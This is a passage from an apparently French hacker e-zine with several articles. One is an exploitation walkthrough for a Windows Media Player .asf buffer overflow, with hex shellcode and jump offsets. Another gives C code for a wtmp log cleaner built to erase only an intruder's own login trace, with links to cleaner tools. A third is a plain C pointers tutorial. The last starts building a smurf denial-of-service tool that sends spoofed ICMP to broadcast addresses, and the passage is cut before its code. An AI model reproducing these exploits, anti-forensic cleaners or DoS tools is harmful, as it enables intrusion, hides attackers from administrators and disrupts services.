AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBÙIõ¿AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0.1 IOC ROULAIZE :-) end_marker_table Dans le script le " ÙIõ¿ " correspond aux caractères ascii de BFF549D9; les 4 B avant c'est ce que l'on peut mettre dans EBP. J'ai mis ça pour le fun, ça va pas nous servir. On pose un 'bpx BFF549D9' avec SI ce qui nous permettra de pouvoir suivre ce qui ce passe. On relance le .asf crée avec le nouveau script, click sur le titre, SI break et on se retrouve dans user32.dll sur un call ebx tout va comme prévu. Un petit F8 et je me retrouve dans une série de 'inc ecx' car le code de cette instruction est le code ascii de A ( 41 ). Je suis à l'adresse 0056FA10 il faut que je trouve l'adresse du début du buffer pour y sauter, je remonte dans SI avec "Crtl + flèche-du-haut" et je trouve le début de mon buffer en 0056F885 (les adresses sont certainement différentes chez vous mais on s'en fout vu que l'on n'utilise pas de valeur directe). Je pense que ça mérite un petit schéma du désasemblage de la mémoire pour mieux comprendre tout ça Adresse Code Instruction -------- ---- ----------- 0056F885 41 INC ECX <--- Début de mon buffer 0056F886 41 INC ECX 0056F887 41 INC ECX ........ .. ... ... ........ .. ... ... ........ .. ... ... ........ .. ... ... 0056F9DB 41 INC ECX 0056F9DC DB 49 ESC <--- Les intructions on s'en fout mais 0056F9DE F5 CMC <--- regardez bien le code c'est ici 0056F9DF BF 41 41 41 41 mov edi, 41414141 <--- que l'on gribouille EIP 0056F9E4 41 INC ECX ........ .. ... ... ........ .. ... ... ........ .. ... ... ........ .. ... ... 0056FA0F 41 INC ECX 0056FA10 E9 70 FE FF FF JMP 0056F885 <--- Ce saut permet d'aller au début du buffer afin d'utiliser au mieux 0056FA15 41 INC ECX la place dont on dispose. Récapitulation: _______________ EIP pointe vers un adresse où se trouve un call ebx. Une fois exécuté ce call on se retrouve en 0056FA10 à cette adresse se trouve un saut qui nous ramène au début du buffer. Le buffer où l'on peut mettre le code est partagé en plusieurs parties ; on peut représenter ça de cette façon: 0056F885 Buffer1 ........ ........ ........ Ecrire un saut vers buffer2 0056F9DC EIP 0056F9E0 Buffer2 ........ ........ ........ Ecrire un saut vers buffer3 0056FA10 Saut buffer1 <- On commence ici 0056FA15 Buffer3 ........ ........ ........ Trouver l'offset dans le buffer de ladresse 0056FA10 56FA10 - 56F885 = 18Bh = 395d A l'offset 395 en decimal, on remplace, avec un éditeur hexa, en suivant cinq 41 par E970FEFFFF. E970FEFFFF = code pour le jmp 395 octet en arrière + 5 octet du saut lui même. C'est pas très important, je vais pas faire un cours sur les compléments à 2 et calcul de saut. SI donne le code directement. Il suffit de taper la commande 'a' et de taper l'instruction. Si la commande 'code on' est activée alors SI donne le code directement On va mettre au début du buffer un peu de code pour afficher une messagebox par exemple. Pour afficher une messagebox simple normalement on doit faire: push 00000000 push offset titre push offset message push 00000000 call MessageBoxA Problème ici le code de 'push 00' est '6A00'. Inséré un 00 dans le code d'un exploit de Bof pose toujours un problème. Le 00 est souvent considéré comme la fin de fichier, fin du packet etc... il ne faut pas mettre de 00 dans le code. Il va falloir utiliser de petites astuces pour mettre 0 sur la pile: xor eax, eax push eax Autre problème comme l'adresse du buffer change à chaque fois on ne peut pas utiliser une adresse fixe. Petite astuce avec le registre de pointeur de pile: mov ebp, esp mov [ebp+10], FFFFFFFF Comme ça on n'utilise pas d'adresse directe en plaçant les données sur la pile. Il faut aussi trouver l'adresse des api du kernel La solution la plus simple est de désassembler les dll où se trouvent les apis dont on a besoin : user32.dll pour MessageBoxA ---> BFF5412E kernel32.dll pour ExitProcress ---> BFF8D4F8 Si cette solution est la plus simple, elle est aussi la plus mauvaise car la moins portable sur d'autres systèmes windows (XP, 2000, nt). Les adresses changent suivant les windows pour faire un code bien portable il faut scanner la mémoire à la recherche de ces api ; ce sujet étant long et assez difficile pour les non initiés, j'en parlerai plus tard peut-être dans un article sur l'infection des environnements win32. Bon après tous ces petits détails voici le code pour afficher une MessageBox (libre à vous après de coder ce que vous voulez :) ) 89E5 mov ebp, esp 31C0 xor eax, eax C74501494F4334 mov [ ebp + 01 ], 34434F49 ;4COI 894505 mov dword ptr [ ebp + 05 ], eax ;00 C7450648454C4C mov [ ebp + 06 ], 4C4C4548 ;LLEH C7450A4F20574F mov [ ebp + 0A ], 4F57204F ;OW O C7450E524C4421 mov [ ebp + 0E ], 21444C52 ;!DLR 894512 mov dword ptr [ ebp + 12 ], eax ;00 50 push eax 8D5D01 lea ebx, [ ebp + 1 ] 53 push ebx 8D5D06 lea ebx, [ ebp + 6 ] 53 push ebx 50 push eax E8F930B5BF call MessageBoxA ;call BFF5412E 50 push eax E8BDC4B8BF call ExitProcess ;call BFF8D4F8 Maintenant il ne reste plus qu'à ajouter le code au début de notre buffer et créer le nouveau fichier .asf. Et dès que l'on clique sur le titre ajouté, la MessageBox est exécutée et le media player fermé proprement. [ Conclusion ] Piouf voilà c'est fini enfin :) j'espère que personne ne s'est perdu en route. Vous l'aurez compris les BoF sous windows sont souvent difficiles à exploiter et il est souvent difficile aussi de les faire portables sur un maximum de versions de windows. Moralité : << Rien ne sert de courir il faut savoir fragger à point !!! >> --------------------------------------------------------------------------------------- IV. Wtmp is your friend Neofox --------------------------------------------------------------------------------------- [ Introducion ] Ce texte fait suite à l'article sur les logs cleaners parut dans le précédent numéro. Nous ne reviendrons pas sur le fonctionnement de ces derniers, ni sur leur programmation, aussi est il préférable d'avoir lu mon permier article sur le sujet. Nous allons parler d'un problème posé par les log cleaners à la mode, lors du nettoyage de wtmp, qui vous permettrait en tant qu'admin de déceler la presence d'un intrus sur votre machine. Nous verrons ensuite comment il serait possible à ce meme intrus d'effacer ses traces de manière bien plus discrète, en particulier lorsque l'intrusion a lieu sous Irix. CES METHODES SONT PRESENTEES CI-APRES DANS LE BUT DE DE MIEUX COMPRENDRE LES ACTIONS MENEES PAR UN INTRUS SUR UN SYSTEME COMPROMIS. NOUS VOUS DECONSIELLONS FORTEMENT D'UTILISER CES INFORMATIONS DANS UN BUT ILLEGAL. ++++ | Partie 1 : Le Problème | ++++ => Le Code => Démonstration I. Le Code : ____________ Le problème provient de la manière dont les cleaners comme vanish ou hideme recherchent dans wtmp les entrées à effaçer. La recherche est effectuée aprés avoir déclarer une structure de type 'utmp', en comparant le contenu des champs ut_name et ut_hosts, respectivement avec argv[1] & [2] ; cela qui permet de cibler l'entrée à effaçer. Le code utilisé est du type : // On ouvre l'original if((input=open(WTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } // On crée la copie if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &w, size))>0){ // On compare les champs user et hosts if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0)) && (strncmp(w.ut_hosts, argv[2], strlen(argv[2]))==0)){ // si c'est la bonne entrée on ne copie pas }else{ // sinon on copie write(output,&w,size); } } } Vous voyez donc qu'on a réalisé une copie de toutes les entrées sauf de celles qui contiennent nos traces. On remplacera ensuite l'original par sa copie. II. Démonstration : ___________________ Imaginez que nous soyons loggés sur une machine de notre réseau, disons au compte compte 'toto' (once again =) en provenance d'une 2nd machine de ce même réseau que l'on apellera 'machine'. Nous allons lister les derniers logins, puis effaçer le notre. Nous devons donc taper : host# last toto machine Mon Jun 10 14:27 still logged in <= notre connexion toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre wtmp begins Fri Jun 7 15:10:11 2002 host# ./vanish toto machine 111.112.121.123 V_A_N_I_S_H_E_D Your tracks have been removed host# last other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre wtmp begins Fri Jun 7 15:10:11 2002 host# Oups ! =) Que s'est il passé ? Eh bien, il se trouve que toto a pour habitude de se connecter à son compte sur 'host' depuis une autre machine du LAN, en l'occurence, depuis la machine d'où nous venons. De ce fait, notre entrée dans wtmp est identique aux entrées régulières de toto : les champs 'ut_name' sont identiques puisqu'on a utilisé le même compte, mais les champs 'ut_host' le sont aussi puisque nous venons de la même machine ! Lors du nettoyage, vansih a recherché les connexions au compte 'toto' provenant de 'machine' et les a supprimées. Ainsi, au lieu de n'effaçer de wtmp que LA trace de notre passage, nous avons en fait effaçé TOUTES les connections au compte 'toto' depuis 'machine', c'est à dire notre propre trace, et avec elle, TOUTES les connections de cet utilisateur ! En effet, en temps normal, c'est le nom d'hote qui permet de cibler la bonne entrée ( quoi qu'il n'est pas toujours possible d'utiliser ce champ ) ; mais dans un cas comme celui-ci, on ne peut pas différencier l'entrée de l'intrus de celles du vrai utilisateur et il est par conséquent impossible de la supprimer sans toucher au reste. Les admins ont intêret à consulter régulièrement l'historique des logins, de manière à pouvoir constater le cas échant la dispartion subite de toute les connexions d'un utilisateur et ainsi, découvrir le poteau rose. ++++ | Partie 2 : La Solution | ++++ => Nouvelle Méthode => Nouveau code => Démonstration I. Nouvelle Méthode : _____________________ Bien évidemment, une solution serait de n'effaçer que notre entrée ; mais comment différencier notre trace des entrées normales de l'utilisateur dont nous empruntons le compte, lorsque les champs ut_hosts sont identiques ? En fait, c'est tout bête. Nous supposerons qu'au moment d'effaçer vos traces, vous soyez le dernier utilisateur à vous être loggé. Votre trace est alors la dernière entrée en date dans wtmp. Attention cependant : lors d'un 'last', la dernière cnx en date est la PREMIERE à s'afficher ; l'affichage se fait donc de la plus récente à la plus ancienne. L'affichage inverse enfait l'ordre des entrées de wtmp. En effet dans wtmp, la connexion la plus récente est la DERNIERE entrée, à la fin du fichier. Nous venons de voir que c'est la position de l'entrée dans le fichier qui permet de l'identifier. Il nous faut donc ne cibler et n'effaçer que la dernière ligne de wtmp correspondant à l'utilisateur dont nous empruntons le compte. Mais pour pouvoir déterminer si nous sommes ou non en présence de cette dernière entrée, il nous faut auparavant connaître le nombre exact d'entrées correspondant au couple username/hostname donné en argument. [ L'Astuce ] L'astuce que je vous propose est la suivante : 1) Il faut tout dabord mesurer la taille en octets du fichier original, puis l'ouvrir. 2) On procède ensuite une première lecture : si l'entrée courrante contient l'username et le nom d'hôte, c'est que nous sommes en présence d'une connexion intéressante ; il peut s'agir soit de la notre, que nous devrons alors effaçer, soit d'une connection normale de l'utilisateur depuis le même hote que nous, auquel cas on ne doit pas la toucher. Quoi qu'il en soit, on incrémente le conteur A. 3) Une fois la lecture terminée, conaissant la taille en octets du fichier, nous pouvons retourner au debut de celui-ci avec lseek(). 4) Nous commençons une seconde lecture en faisant tourner le conteur B de la même manière, ce qui va indiquer notre position courrante. 5) Grace au conteur A, nous conaissons à cet instant le nombre exact d'entrées correspondant à l'username et au nom d'hote. Si A indique 10, c'est qu'il y a dans wtmp 10 entrées correspondantes, la notre étant théoriquement la 10ème. Si B indique 3, c'est que la tête de lecture se trouve actuellement à la 3ème entrée sur les 10 nous intéressant. Si on poursuit le raisonnement, lorsque B indiquera 10, nous serons en présence de la dernière des 10 entrées, la notre. Il faudra donc l'effaçer. Eureka ! II. Nouveau Code : __________________ Voici l'extrait d'un exemple de code implémentant mon idée. Nous allons arriver a nos fins à l'aide d'un jeu de compteurs : // Counters int i, /* contera le nobre d'entrées effaçées */ size, /* taille de la structure */ nbr, /* nombre d'entrées contenant username et hostname (A) */ current, /* indique la le n° de l'entrée courrante (B)*/ lenght; /* taille de wtmp en octets */ int main ( int argc, char *argv[]){ if(argc!=3){ fprintf(stderr,"Usage : %s \n", argv[0]); exit(1); } Nous devons connaître la taille exacte du fichier en octets, afin de pouvoir retourner au début avec "lseek();" une fois la première lecture terminée. // Mesure de la taille du fichier if(stat(WTMP,&status)==-1){ fprintf(stdout,"\nThere's not %s here ?!\n", WTMP); exit(1); } else { lenght = status.st_size; } La taille en octets du fichier wtmp est à présent désignée par 'lenght'. Bien, nous testons l'ouverture de l'orignal, puis nous créons la copie. // Ouverture de du fichier original size=sizeof(w); if((input=open(WTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); exit(1); close(input); } // Creation de la copie et premiere lecture if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &w, size))>0){ // On recherche les entrées correspondantes if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0) && (strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){ nbr++; // On les compte } } Nous venons de rechercher dans wtmp les entrées correspondant au couple argv[1]/argv[2] (username/hostname). Le nombre d'entrées est désigné par 'nbr'. C'est le compteur A dont je parle plus haut. La première lecture est à présent terminée et la "tête de lecture" est positionnée en bas du fichier. Connaissant la taille de celui-ci, nous replaçons la tête au début pour commencer une nouvelle lecture // retour au début lseek(input,-lenght,SEEK_END); // Puis seconde lecture while((read(input, &w, size))>0){ Nous recherchons à nouveau les entrées correspondantes ; nous en conaissons déja le nombre. On incrémente le compteur 'current' à chaque entrée si celle-ci colle. Cela nous indique donc que nous sommes à la ligne n° 'current' pour un total de 'nbr' lignes retenues. C'est le compteur B dont je parle plus haut. if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0)&& (strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){ current++; Si current==nbr (<=> A=B), cela signifie que nous nous trouvons par exemple à la ligne n°10 sur un total de 10 lignes , soit à la dernière entrée, celle que nous voulons virer ! if(current == nbr){ i++; // On veut supprimer cette entrée // donc incrémente et on la saute } else { // sinon, on copie write(output,&w,size); } } else { // sinon, l'entrée ne correspond pas // donc on la copie write(output,&w,size); } } } fprintf(stdout,"%d line(s) found for user '%s'\n", nbr, argv[1]); fprintf(stdout,"%d track(s) deleted\n", i); close(input); close(output); III. Démonstration : ____________________ Reprenons l'exemple de tout à l'heure et voyons ce que cela aurait donné avec le nouveau code : host# last toto machine Mon Jun 10 14:27 still logged in <= votre connexion toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre wtmp begins Fri Jun 7 15:10:11 2002 host# ./new Usage : ./new host# ./new toto machine 3 line(s) found for user 'toto' 1 track(s) deleted host# last toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre wtmp begins Fri Jun 7 15:10:11 2002 host# Seule la bonne entrée a été effaçée. Comme quoi, finalement, on peut faire des omelettes sans casser des oeufs =). ++++ | Partie 3 : Sous Irix | ++++ => Explications => Getafix v2.0 I. Explications : _________________ Irix est un OS que l'on peut qualifier d'exotique, ne serait-ce que par la position de ses fichiers de log. Nous allons nous intéresser seulement à wtmp. Si vous avez déja essayé d'y compiler, disons vanish, vous avez surement eut quelques surprises. L'explication se trouve dans '/usr/include/utmp.h' qui définit l'allure de la structure de type 'utmp' : struct utmp { char ut_user[8]; char ut_id[4]; char ut_line[12]; char ut_pid; short ut_type; time_t ut_time; } Comme vous pouvez le voir, il n'y a pas de champ 'ut_host' et il vous faudra donc ajuster votre vanish.c de manière à n'utiliser que 'ut_name', sans quoi, vous ne pourrez pas compiler. Dans le meilleur des cas, la recherche de l'entrée à effaçer ne peut donc se faire qu'en examinant le champ 'ut_name' ce qui augmente grandemment le risque d'effaçer une ou plusieurs mauvaises entrée en plus de la bonne. Nettoyer nos traces revient alors à supprimer sans le vouloir toutes les entrées correspondant au compte que nous utilisons. Nettoyage intégral garanti ! Aussi la méthode que je vous propose s'avère d'autant plus utile dans un cas comme celui-ci. II. Getafix v2.0 : __________________ Dans le précédent numéro, je vous proposais la version 1.0 d'un log cleaner pour Irix, baptisé "getafix" pour l'occasion. Aujourd'hui, la version 2.0 implémente cette nouvelle approche pour nettoyer wtmp sans faire de casse. J'ai également corrigé quelques petites erreurs, sans grande importance, notemment en ce qui concerne certains compteurs mal incrémentés. Vous trouverez 'getafix v2' ici : http://www.rootshell.be/~ioc/downloads/progs/cleaners [ Conclusion ] Je ne donnerais pas ici de code complet, je vous laisse le soin de parfaire vos propres outils selons vos besoins, en espérant que cet article vous y aidera. Pour tout commentaires, conseils, questions, ou pour signaler une erreur, n'hesitez pas à me contacter, je suis là pour ça. J'en profite pour signaler au passage un nouvel outil de conception trés intéressante ; il s'agit d'un log faker que je vous laisse découvrir par vous même : http://www.rootshell.be/~mrmilow --------------------------------------------------------------------------------------- V. Language C : Comprendre les Pointeurs MeiK --------------------------------------------------------------------------------------- [ Introduction ] Beaucoup de débutants butent un moment sur les pointeurs lorsqu'ils apprennent à programmer en langage C. Et encore, même certains programmeurs de niveau moyen rencontrent quelques difficultés avec les pointeurs. Vu qu'il semble que ce soit un problème pour la majorité, je me suis senti presque obligé de faire un article là dessus. I. Qu'est-ce qu'un pointeur ? : _______________________________ Avec les mots les plus simples, un pointeur est une variable qui garde en mémoire l'adresse d'une autre variable. C'est un peu comme l'adresse que vous mettez sur une enveloppe (bon, on est à l'ère de l'e-mail, mais c'est toujours d'actualité). Cette adresse pointe vers la maison de la personne à qui vous voulez envoyer la lettre. Le pointeur garde simplement l'ADRESSE. De la même manière que l'enveloppe a l'adresse de la personne, elle *pointe* vers la personne. Vous avez compris ? Vous voyez donc que c'est simple jusque là... Ensuite, pourquoi on trouve que c'est une façon chiante de faire les choses est un autre sujet que vous découvrirez un peu plus tard dans cet article. II. Déclarer des pointeurs : ____________________________ Déclarer un pointeur est une chose très simple : char *pointeur; Dans ce cas, le pointeur pointe vers l'adresse mémoire d'une variable de type CHAR. Notez que ça doit pointer vers une variable de type CHAR et non un autre type. Le compilateur risque de vous faire chier si vous mettez pas le bon type. III. Utiliser les pointeurs : _____________________________ Maintenant on va faire un petit échange. On va échanger le contenu de deux variables en utilisant des pointeurs : int var1 = 13, var2 = 69, temp; int *pointeur; pointeur = &var1; /* Au cas ou vous ne savez pas que &var1 est "adresse de */ /* "l' adresse de l'emplacement du contenu de var1" et non */ /* le contenu actuel de var1 lui-meme */ temp = *pointeur; /* Copie la valeur de la variable pointée par 'pointeur' */ /* dans la variable 'temp', dans ce cas là, 'var1 */ *pointeur = var2; /* Copie le contenu de var2 à l'adresse pointée par le pointeur*/ var2 = temp; /* copie le contenu de var2 dans temp */ On a juste échangé les valeurs en utilisant les pointeurs. Bon, ça peut sembler sans intérêt, mais ça montre bien comment s'utilisent les pointeurs. IV. L'Opérateur d'Adresse : ___________________________ Je pense qu'il est grand temps de s'occuper de l'opérateur d'adresse car il y a quelques petits détails utiles que vous devriez connaître à propos de ce dernier. Il y a quelques trucs que vous ne pouvez pas faire avec l'opérateur d'adresse ; certains peuvent sembler évidents, d'autres pas. -[1]- var_adresse = &13; Vous ne pouvez pas utiliser l'opérateur d'adressage avec des constantes. -[2]- var_adresse = &(valeur + 69); Vous ne pouvez pas utiliser l'opérateur d'adressage dans des expressions impliquant l'utilisation d'opérateurs tels que + et -. -[3]- var_adresse = ® Vous ne pouvez pas utiliser l'opérateur d'adressage en précédant des variables register étant donné la définition register reg. V. Pointeurs et Tableaux : __________________________ Les pointeurs et les tableaux sont assez liés et sont ainsi confondus. Voyons le morceau de code suivant : float salaire[50]; float *float_ptr; Maintenant on considère : float_ptr = salaire; float_ptr = &salaire[0]; Bon, ces deux instructions font la même chose. Elles font que float_ptr pointe vers le premier élément du tableau 'salaire'. Une chaine constante (comme "Input Output Corporation") est stockée dans un tableau de caractères avec un caractère de fin en tant que dernier caractère. Mais regardez ce qui suit : char *char_ptr = "Input Output Corporation"; Ca définit non seulement le pointeur, mais ça l'initialise aussi à l'adresse du premier caractère dans la chaine. La même chose aurait pu être écrite de la façon suivante : char *char_ptr; char_ptr = "Input Output Corporation"; VI. "Pointeurs à pointeurs" : ____________________________ Cela vous semble peut-être chiant, mais ça vous servira très souvent si vous commencez à coder beaucoup plus un jour. En fait, par ce titre, je voulais dire que c'est un pointeur qui pointe sur un pointeur qui pointe sur l'adresse d'une certaine variable. L'exemple le plus courant est certainement dans la fonction main() avec les paramètres qu'on lui passe depuis la ligne de commande : int main(int argc, char *argv[]); le char *argv (qu'on écrit aussi parfois char **argv[]) est un pointeur de pointeur. [ Conclusion ] Que retenir de tout ça ? bien tout simplement que les pointeurs peuvent devenir assez utiles parfois, vous l'aurez vu dans la première partie. Bon, je sais pertinement qu'il y a des tas d'autres choses à dire sur les pointeurs, mais si vous êtes un débutant, vous découvrirez le reste de vous même ; si vous êtes déjà un programmeur avancé, vous devez déjà savoir. --------------------------------------------------------------------------------------- VI. Programmation d'un Smurfer Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Smurfing, DoS, techniques qui furent très en vogue ces cinq dernières années, ont largement prouvées leur efficacité lors de mise hors service de serveurs web. Le principe, très simple et cher aux kiddies, rebute néanmoins la plus part des individus désireux de tenter l'expérience en raison de sa difficulté de mise en oeuvre, du moins au niveau de la programmation de l'outil. Je ne vais pas m'embarrasser à vous rappeler le principe du fonctionnement d'un smurfer, vous êtes tous censés le connaître. Les paquets ICMP envoyés seront de type ICMP_ECHO et de code 1. [ Sommaire ] I. Protocole ICMP II. Protocole IP III.Programmation du smurfer IV. Implémentation V. Code source I. Le Protocole ICMP : ______________________ Le protocole ICMP (Internet Control Message Protocol) est un protocole qui permet de gérer les informations relatives aux erreurs aux machines connectées. Etant donné le peu de contrôles que le protocole IP réalise, ICMP permet non pas de corriger ces erreurs mais de faire part de ces erreurs aux protocoles des couches voisines. Ainsi, le protocole ICMP est implémenté par tous les routeurs, qui l'utilisent pour reporter une erreur (appelée Delivery Problem). Les messages d'erreur ICMP sont transportées sur le réseau sous forme de datagramme, comme n'importe quelle donnée. Ainsi, les messages d'erreur peuvent eux-mêmes être sujet d'erreurs. Toutefois en cas d'erreur sur un datagramme transportant un message ICMP, aucun message d'erreur n'est délivré pour éviter un effet "boule de neige" en cas d'incident sur le réseau. [ Datagramme ICMP ] Nous savons donc que les données sont envoyés sous forme de datagrammes, ce dernier est d'une simplicité déconcertante comparé à des datagrammes TCP par exemple (nécessitant un nombre plus conséquents de headers). Il contient donc 4 champs: o type, codé sur 8 bits ; lors de notre smurf nous définiront le type comme ICMP_ECHO. o code, codé sur 8 bits ; nous lui allouerons la valeur 1. o checksum codé sur 16 bits o et le message qui peut avoir une taille variable. Je vous propose une petite représentation ci-dessous, (excusez mon manque de talent artistique) : 0 ______________________15-16________________________31 | | Message ICMP (xb) | | ID. |____________________________________________ | | | | | | | | |Type(8b)| Code(8b)|Checksum(16b)|sequence(xb)| |_______|________|_________|_____________|____________| *Type: Voici une liste non exhaustive des différentes valeurs susceptibles de remplir le champ type du datagrame ICMP. On ne va pas passer en revu chaque type, l'echo reply et l'host unreachable nous intéréssant seulement. +----+-----------------------------------------------------------+ |TYPE| DESCRIPTION | +----------------------------------------------------------------+ | 0 | Echo reply | +----------------------------------------------------------------+ | 1 | Réservé | +----------------------------------------------------------------+ | 2 | Réservé | +----------------------------------------------------------------+ | 3 | Destination injoignable (unreachable) | +----------------------------------------------------------------+ | 4 | Source quench | +----------------------------------------------------------------+ | 5 | Redirection | +----------------------------------------------------------------+ | 6 | Addresse hôte alternative | +----------------------------------------------------------------+ | 7 | | +----------------------------------------------------------------+ | 8 | Requête echo | +----------------------------------------------------------------+ | 9 | Router advertissement (envoyé comme multicast, donc listé)| +----------------------------------------------------------------+ | 10 | Router solicitation | +----------------------------------------------------------------+ | 11 | Temps excédé | +----------------------------------------------------------------+ | 12 | Parameter problem (réponse à une erreur non couverte par | | | une requête icmp quelconque) | +----------------------------------------------------------------+ | 13 | Requête - Timestamp | +----------------------------------------------------------------+ | 14 | Réponse - Timestamp | +----------------------------------------------------------------+ | 15 | Requête - Information | +----------------------------------------------------------------+ | 16 | Réponse - Information | +----------------------------------------------------------------+ | 17 | Requête - Adress mask | +----------------------------------------------------------------+ | 18 | Réponse - Adress mask | +----------------------------------------------------------------+ | 19 | Réservé | +----------------------------------------------------------------+ | 20 | | | - | | | - | Réservé | | - | | | 29 | | +----------------------------------------------------------------+ | 30 | Traceroute | +----------------------------------------------------------------+ | 31 | Conversion error | +----------------------------------------------------------------+ | 32 | Redirection dynamique | +----------------------------------------------------------------+ | 33 | Requête "?" - IPv6 (détermine la version de l'IP) | +----------------------------------------------------------------+ | 34 | Réponse "!" - IPv6 | +----------------------------------------------------------------+ | 35 | Requête - Mobile Registration | +----------------------------------------------------------------+ | 36 | Réponse - Mobile Registration | +----------------------------------------------------------------+ | 37 | Requête - Nom de domaine | +----------------------------------------------------------------+ | 38 | Réponse - Nom de domaine | +----------------------------------------------------------------+ | 39 | SKIP Algorithm Discovery Protocol. | +----------------------------------------------------------------+ | 40 | Photuris (failles de sécurité) | +----------------------------------------------------------------+ | 41 | | | - | Réservé | | - | | |255 | | +----+-----------------------------------------------------------+ *Code : Il sera initialisé à 0 pour notre type de requête icmp. *ICMP Header Checksum : Somme de contrôle. Header ICMP + données. Le champ checksum doit être initialisé à 0 avant toute modification. *Identificateur : Permet d'identifier à qui le paquet est destiné, de coller une réponse sur une requête icmp. Numéro de séquence: Permet de différencier les paquets. II. Protocole IP : __________________ Fondamental et indispensable, ce protocole est à la base de la communication sur Internet et à travers tout type de réseau. Il traite les datagrammes IP indépendamment les uns des autres en définissant leur représentation, leur routage et leur expédition. [Datagramme IP] 0 ____________________15-16___________________________31 | 4 | IHL | To S | Total Lenght | |_____|_______|________|______________________________| | Identification | Flags | Fragment offset | |____________________|_______|________________________| | TTL | Protocol | Header checksum | |_________|____________|______________________________| | Source IP address | |_____________________________________________________| | Destination IP address | |_____________________________________________________| > Options (facultatif) < |_____________________________________________________| | | < Data < > > |_____________________________________________________| *Version : Toujours initialisée à 4, étant la version actuelle du protocole IP. *IP Header Length : Nombre de mots 32 bits formant le datagramme, d'habitude initialisé à 5. *Type of Service : Actuellement appelé Differentiated Services Code Point (DSCP). Normalement initialisé à 0, peut indiquer les besoin de qualité d'un service du réseau. *ToS : Voici les 4 options des ToS: [NOM] [VALEUR] 1- Minimiser le délai 0x10 2- Maximize throughput 0x08 3- Minimiser pertes 0x04 4- Minimiser la valeur pécuniaire 0x02 *Size of Datagram : En bytes, regroupant la taille de l'header et des données. *Identification : Nombre 16 bits qui avec l'adresse source servent à identifer le paquet. *Flags: 4 flags fondamentaux: [NOM] [VALEUR] 1- Pas de flag 0x00 2- Fragmenter plus 0x01 3- Ne pas fragmenter 0x02 4- More and Dont't frag 0x03 *Fragmentation Offset : Calcul en bits du premier paquet envoyé. *Time To Live : Nombre de sauts que le paquet peut exécuter avant d'être détruit. Décrémenté par la plupart des routeurs - Utilisé pour empêcher des encombrements réseaux. *Protocol : Service Access Point (SAP) indiquant le type de transport du paquet envoyé. Par exemple: [NOM] [VALEUR] 1- IPPROTO_TCP 0x06 2- IPPROTO_UDP 0x11 3- IPPROTO_ICMP 0x01 *Header Checksum: Somme de contrôle. *Source Address: Adresse IP de l'hôte source. *Destination Address: Adresse IP du destinaire. *Options: Normalement non utilisé, excepté quand la taille de l'header ip sera supérieur à 5 mots 32 bits pour indiquer la taille du champ option. III. Programmation du smurfer : _______________________________ Il s'agira donc d'envoyer des multiples ICMP_ECHO à un nombre conséquent de serveurs de diffusion (broadcasts) en spoofant l'IP d'une victime quelconque ; ceux-ci pointeront alors sur la cible lord du renvoie des replies. Le smufer que je vous ai concocté est relativement simple d'utilisation ; il vous invitera à entrer le nombre de broadcast, la quantité d'echos à envoyer, l'ip cible à spoofer. A chaque boucle l'ip du broadcast est demandée, une fonction listening s'est vu ajoutée. Celle-ci permet de recevoir un ECHO_REPLY à la suite d'un ping réalisé dans l'optique de vérifier la présence d'un hôte sur le réseau. Voici la structure d'un header IP et ICMP : [ Structure de l'header ICMP ] struct icmphdr { __u8 type; // 0 ECHO_REPLY; 8 ECHO_REQUEST __u8 code; // 0, inutilisé __u16 checksum; // 0 avec calcul union { struct { __u16 id; // 0, utilisé pour déterminer l'appartenance d'une requête __u16 sequence; // 0, voir id } echo; __u32 gateway; struct { __u16 __unused ; __u16 mtu; } frag; }un; }; [ Structure de l'header IP ] struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /* OPTIONS (facultatives) */ }; IV. Implémentation : ____________________ => connexion => variables et structures => Fonctions 1) Connexion : ______________ C'est bien jolie de voir toutes ces théories et explications sur les différents protocoles de communication, mais il 